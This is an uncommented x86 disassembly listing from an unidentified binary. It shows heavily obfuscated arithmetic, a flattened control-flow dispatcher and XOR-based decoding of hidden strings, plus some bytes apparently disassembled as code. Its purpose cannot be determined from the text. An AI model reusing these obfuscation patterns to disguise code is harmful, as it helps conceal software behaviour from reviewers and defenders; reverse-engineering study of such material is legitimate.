mov ecx, dword [0x101cb1db]
mov dword [eax], ecx
mov ecx, dword [0x101cb1df]
mov dword [eax + 4], ecx
mov cl, byte [0x101cb1e3]
mov byte [eax + 8], cl
mov ecx, dword [ebp - 0xc8]
mov eax, dword [0x101cb087]
mov dword [ebx], eax
mov eax, dword [0x101cb08b]
mov dword [ebx + 4], eax
mov al, byte [0x101cb08f]
mov byte [ebx + 8], al
mov eax, dword [ebp - 0x4c]
mov ebx, dword [0x101cb1ed]
mov dword [edi], ebx
mov ebx, dword [0x101cb1f1]
mov dword [edi + 4], ebx
mov bl, byte [0x101cb1f5]
mov byte [edi + 8], bl
mov edi, dword [0x101cb205]
mov dword [edx], edi
mov edi, dword [0x101cb209]
mov dword [edx + 4], edi
mov edi, dword [0x101cb20d]
mov dword [edx + 8], edi
mov di, word [0x101cb211]
mov word [edx + 0xc], di
mov bl, byte [0x101cb213]
mov byte [edx + 0xe], bl
mov dword [eax], 0
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xc8]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22b0], edx
mov eax, dword [eax]
mov edx, dword [0x101d22b0]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
add esp, 0xc
mov eax, dword [ebp - 0xc4]
lea ecx, [0x101d22b0]
add ecx, 4
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.10034a70
mov ecx, dword [ebp - 0xc0]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xc0]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22bc], edx
mov eax, dword [eax]
mov edx, dword [0x101d22bc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0xbc]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
xor edx, edx
sub edx, 1
sub ecx, edx
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xbc]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22c0], edx
mov eax, dword [eax]
mov edx, dword [0x101d22c0]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0xb8]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xb8]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22c4], edx
mov eax, dword [eax]
mov edx, dword [0x101d22c4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0xb4]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub ecx, 0x9aeb2be0
add ecx, 1
add ecx, 0x9aeb2be0
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xb4]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d237c], edx
mov eax, dword [eax]
mov edx, dword [0x101d237c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0xb0]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xb0]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2380], edx
mov eax, dword [eax]
mov edx, dword [0x101d2380]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0xac]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xac]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2384], edx
mov eax, dword [eax]
mov edx, dword [0x101d2384]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
add esp, 0xc
mov eax, dword [ebp - 0xa8]
lea ecx, [0x101d22b0]
add ecx, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x28
call fcn.10034a70
mov ecx, dword [ebp - 0xa4]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
xor edx, edx
sub edx, 1
sub ecx, edx
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov edx, dword [ebp - 0xa4]
add esp, 4
mov dword [0x101d22f0], eax
mov ecx, dword [0x101d22f0]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.101b40e0
mov ecx, dword [ebp - 0xa0]
add esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0xa0]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22f4], edx
mov eax, dword [eax]
mov edx, dword [0x101d22f4]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x9c]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x9c]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22f8], edx
mov eax, dword [eax]
mov edx, dword [0x101d22f8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x98]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub ecx, 0x7f3e579e
add ecx, 1
add ecx, 0x7f3e579e
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x98]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d22fc], edx
mov eax, dword [eax]
mov edx, dword [0x101d22fc]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x94]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 0x5c68afb8
add ecx, 1
sub ecx, 0x5c68afb8
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x94]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2300], edx
mov eax, dword [eax]
mov edx, dword [0x101d2300]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x90]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x90]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2304], edx
mov eax, dword [eax]
mov edx, dword [0x101d2304]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
add esp, 0xc
mov eax, dword [ebp - 0x8c]
lea ecx, [0x101d22b0]
add ecx, 0x58
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x28
call fcn.10034a70
add esp, 0xc
mov eax, dword [ebp - 0x88]
lea ecx, [0x101d22b0]
add ecx, 0x80
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.10034a70
mov ecx, dword [ebp - 0x84]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub ecx, 0xc43ed049
add ecx, 1
add ecx, 0xc43ed049
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x84]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2344], edx
mov eax, dword [eax]
mov edx, dword [0x101d2344]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x80]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x80]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2348], edx
mov eax, dword [eax]
mov edx, dword [0x101d2348]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x7c]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x7c]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d234c], edx
mov eax, dword [eax]
mov edx, dword [0x101d234c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x78]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, 1
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x78]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2350], edx
mov eax, dword [eax]
mov edx, dword [0x101d2350]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x74]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x74]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2354], edx
mov eax, dword [eax]
mov edx, dword [0x101d2354]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x70]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x70]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2358], edx
mov eax, dword [eax]
mov edx, dword [0x101d2358]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x6c]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 0x22162512
add ecx, 1
sub ecx, 0x22162512
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x6c]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d235c], edx
mov eax, dword [eax]
mov edx, dword [0x101d235c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x68]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x68]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2360], edx
mov eax, dword [eax]
mov edx, dword [0x101d2360]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x64]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
mov edx, 0xffffffff
xor edx, 1
xor edi, edi
sub edi, 1
sub edx, edi
sub ecx, edx
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x64]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2364], edx
mov eax, dword [eax]
mov edx, dword [0x101d2364]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x60]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x60]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2368], edx
mov eax, dword [eax]
mov edx, dword [0x101d2368]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x5c]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x5c]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d236c], edx
mov eax, dword [eax]
mov edx, dword [0x101d236c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x58]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
sub ecx, 0xfb3ee49e
add ecx, 1
add ecx, 0xfb3ee49e
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x58]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2370], edx
mov eax, dword [eax]
mov edx, dword [0x101d2370]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x54]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x54]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2374], edx
mov eax, dword [eax]
mov edx, dword [0x101d2374]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
mov ecx, dword [ebp - 0x50]
add esp, 8
mov eax, esp
mov dword [eax], ecx
call fcn.101b4270
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x4c]
add ecx, 1
mov dword [eax], ecx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.101ad82a
mov ecx, dword [ebp - 0x50]
add esp, 4
mov edx, eax
mov eax, dword [ebp - 0x4c]
mov dword [0x101d2378], edx
mov eax, dword [eax]
mov edx, dword [0x101d2378]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10034a70
add esp, 0xc
mov eax, dword [ebp - 0x1c]
mov ecx, 0x67263fc2
mov edx, 0x760fa403
cmp esi, 0x73f77c7b
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc63c]
sub eax, dword [0x101cc640]
mov ecx, eax
and ecx, 0x41de5016
shl ecx, 1
add eax, 0x41de5016
sub eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x2008f1a
mov edx, 0xffffffff
xor edx, 0x2008f1a
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x838a3c13
xor edx, edx
div ecx
sub eax, 0x2d7cd3b2
sub eax, 0x79eb1709
add eax, 0x2d7cd3b2
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xf18c7660
add ecx, eax
xor eax, eax
sub eax, ecx
or eax, 0x346eeed3
mov esi, 0xffffffff
xor esi, 0xa5655f5d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa5655f5d
or eax, 0xa5655f5d
imul eax, edx
add eax, ecx
or eax, 0x10a5b02b
mov edx, eax
xor edx, 0xffffffff
and edx, 0x32d7408
mov esi, 0xffffffff
xor esi, 0x32d7408
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x32d7408
or eax, 0x32d7408
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x4c94536
mov ecx, 0xffffffff
xor ecx, 0x263ed7c8
or eax, edx
or ecx, 0x263ed7c8
xor eax, 0xffffffff
and eax, ecx
sub eax, 0xf71c846e
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xad9898fc
mov ecx, 0xffffffff
xor ecx, 0x86b05377
or eax, edx
or ecx, 0x86b05377
xor eax, 0xffffffff
and eax, ecx
xor eax, 0xd25f0b94
add eax, 0x471dc585
xor eax, 0x16cba0b
and eax, 0x40fbcb94
add eax, 0xb684825f
sub eax, 0xfb2fd773
sub eax, 0xb684825f
mov esi, 0xffffffff
xor esi, 0xdedf29c
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xdedf29c
or eax, 0xdedf29c
imul eax, edx
add eax, ecx
sub eax, 0xcd63059c
mov ecx, 0xffffffff
xor ecx, 0x5cb30f83
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0x1588d891
sub eax, 0xa8d5e0ab
sub eax, 0xe3f4b823
mov ecx, 0xc37310e8
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0xe4a7727c
xor ecx, 0xffffffff
add edx, 0xe4a7727c
add edx, 1
add edx, ecx
sub edx, 0xdaa5d7e3
and edx, 0x535c1e22
mov ecx, edx
and ecx, 0xba31d1bd
or edx, 0xba31d1bd
add ecx, edx
add ecx, 0x8cc798e5
sub ecx, 0xfc84947
sub ecx, 0x8cc798e5
add ecx, 0xfabec4a0
or ecx, 0x23f17b8d
xor ecx, 0x7e9c1654
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4e56d539
mov esi, 0xffffffff
xor esi, 0x4e56d539
and ecx, esi
sub ecx, edx
or ecx, 0x4dcc722b
and ecx, 0xbbd0ee0e
imul ecx, ecx, 0x1a034605
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x3fdcf122
mov edi, 0xffffffff
xor edi, 0x3fdcf122
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x3fdcf122
or ecx, 0x3fdcf122
imul ecx, esi
add ecx, edx
imul esi, ecx, 0x850629c4
mov ecx, esi
add ecx, 1
xor esi, 0xffffffff
or esi, 0xe44fc5a3
add esi, ecx
add esi, 0xd5df1976
mov ecx, 0xd1224891
mov edx, 0x42d47ce7
cmp esi, 0xac01474f
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc644]
mov edx, dword [0x101cc648]
mov ecx, edx
and ecx, eax
xor ecx, 0xffffffff
add eax, edx
add eax, 1
add eax, ecx
mov ecx, 0x640e3193
xor edx, edx
div ecx
and eax, 0xaf6046b3
mov ecx, eax
xor ecx, 0x5c4d2e2f
mov edx, 0xffffffff
xor edx, 0x5c4d2e2f
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
and ecx, 0x938f65c9
shl ecx, 1
xor eax, 0x938f65c9
add eax, ecx
mov ecx, eax
xor ecx, 0xf8de74db
xor ecx, 0xffffffff
or eax, 0xf8de74db
and eax, ecx
or eax, 0xf5f4b0d2
and eax, 0xbf7cbd86
add eax, 0xcfdbc726
add eax, 0x50550d9
sub eax, 0xcfdbc726
and eax, 0x41015f2
mov ecx, 0xcc4ba2c0
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xf1fa7974
xor ecx, 0xff5d4a80
mov eax, ecx
and eax, 0x986d015a
xor eax, 0xffffffff
and ecx, 0x986d015a
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x18919b1c
xor eax, 0xb7c610f7
imul eax, eax, 0xa5bf0aa
or eax, 0x8467d517
xor eax, 0xca17ac8
add eax, 0xa06b330
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbfe22514
mov esi, 0xffffffff
xor esi, 0xbfe22514
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbfe22514
or eax, 0xbfe22514
imul eax, edx
add eax, ecx
add eax, 0xc2a3d1ab
and eax, 0x8a8f668a
xor eax, 0xdb6e3a62
and eax, 0x2b73ac17
mov edx, 0xffffffff
xor edx, 0xd416a86c
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xd416a86c
add eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x92b01049
xor ecx, 0xffffffff
add eax, 0x92b01049
add eax, 1
add eax, ecx
mov ecx, 0x7b04177f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0xd0], ecx
mov esi, 0xffffffff
xor esi, 0xebfafe6f
mov edx, 0xffffffff
xor edx, 0x288217b4
and ecx, 0x288217b4
and eax, edx
mov edi, esi
and edi, 0x288217b4
mov ebx, edx
and ebx, 0xebfafe6f
or ecx, eax
mov eax, dword [ebp - 0xd0]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x288217b4
and eax, edx
or ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe8f6102f
mov esi, 0xffffffff
xor esi, 0xe8f6102f
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xe8f6102f
or ecx, 0xe8f6102f
imul ecx, edx
add ecx, eax
or ecx, 0x68f7197e
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x20583cbd
mov esi, 0xffffffff
xor esi, 0x20583cbd
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0x20583cbd
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
add eax, 0xc2759782
sub eax, 0xa322eaa3
sub eax, 0xc2759782
mov ecx, 0x1d52f75a
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xce391c8
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0xcc], eax
mov esi, 0xffffffff
xor esi, 0xbdd1764a
mov edx, 0xffffffff
xor edx, 0xc25a0787
and eax, 0xc25a0787
and ecx, edx
mov edi, esi
and edi, 0xc25a0787
mov ebx, edx
and ebx, 0xbdd1764a
or eax, ecx
mov ecx, dword [ebp - 0xcc]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc25a0787
and ecx, edx
or eax, ecx
xor eax, 0xa239769d
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x6d89a834
add eax, ecx
mov ecx, 0xa420f5e6
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x92d6047f
mov edx, 0xffffffff
xor edx, 0x48381edc
mov ecx, esi
and ecx, edx
mov edx, esi
xor edx, 0x48381edc
add esi, edx
sub esi, ecx
mov ecx, 0x11a86493
mov edx, 0x42d47ce7
cmp esi, 0x98c4995b
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101ad838
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
inc ebx
pushal
fmul dword [esi]
mov dh, 0xf7
cmc
or al, 0xd0
push esi
mov dh, byte [0x101cb04e]
mov cl, dh
xor cl, 0xff
and cl, 0x61
mov ch, 0xff
xor ch, 0x61
and dh, ch
mov dl, 0xff
xor dl, 0xb2
and dl, 0x61
and ch, 0xb2
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb05b], cl
mov dl, byte [0x101cb04f]
mov cl, dl
xor cl, 0xff
and cl, 0x29
mov ch, 0xff
xor ch, 0x29
and dl, ch
or cl, dl
mov byte [0x101cb05c], cl
mov dl, byte [0x101cb050]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xea
mov dh, 0xff
xor dh, 0xea
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xea
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb05d], cl
mov cl, byte [0x101cb051]
xor cl, 0xc6
mov byte [0x101cb05e], cl
mov dh, byte [0x101cb052]
mov cl, dh
xor cl, 0xff
and cl, 0xc4
mov ch, 0xff
xor ch, 0xc4
and dh, ch
mov dl, 0xff
xor dl, 0xc2
and dl, 0xc4
and ch, 0xc2
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb05f], cl
mov cl, byte [0x101cb053]
xor cl, 0xf4
mov byte [0x101cb060], cl
mov cl, byte [0x101cb054]
xor cl, 0xd0
mov byte [0x101cb061], cl
mov cl, byte [0x101cb055]
xor cl, 0x5b
mov byte [0x101cb062], cl
mov dl, byte [0x101cb056]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x4e
or ch, 0x4e
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 0x4e
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb063], cl
mov cl, byte [0x101cb057]
xor cl, 0xfc
mov byte [0x101cb064], cl
mov cl, byte [0x101cb058]
xor cl, 0x5f
mov byte [0x101cb065], cl
mov cl, byte [0x101cb059]
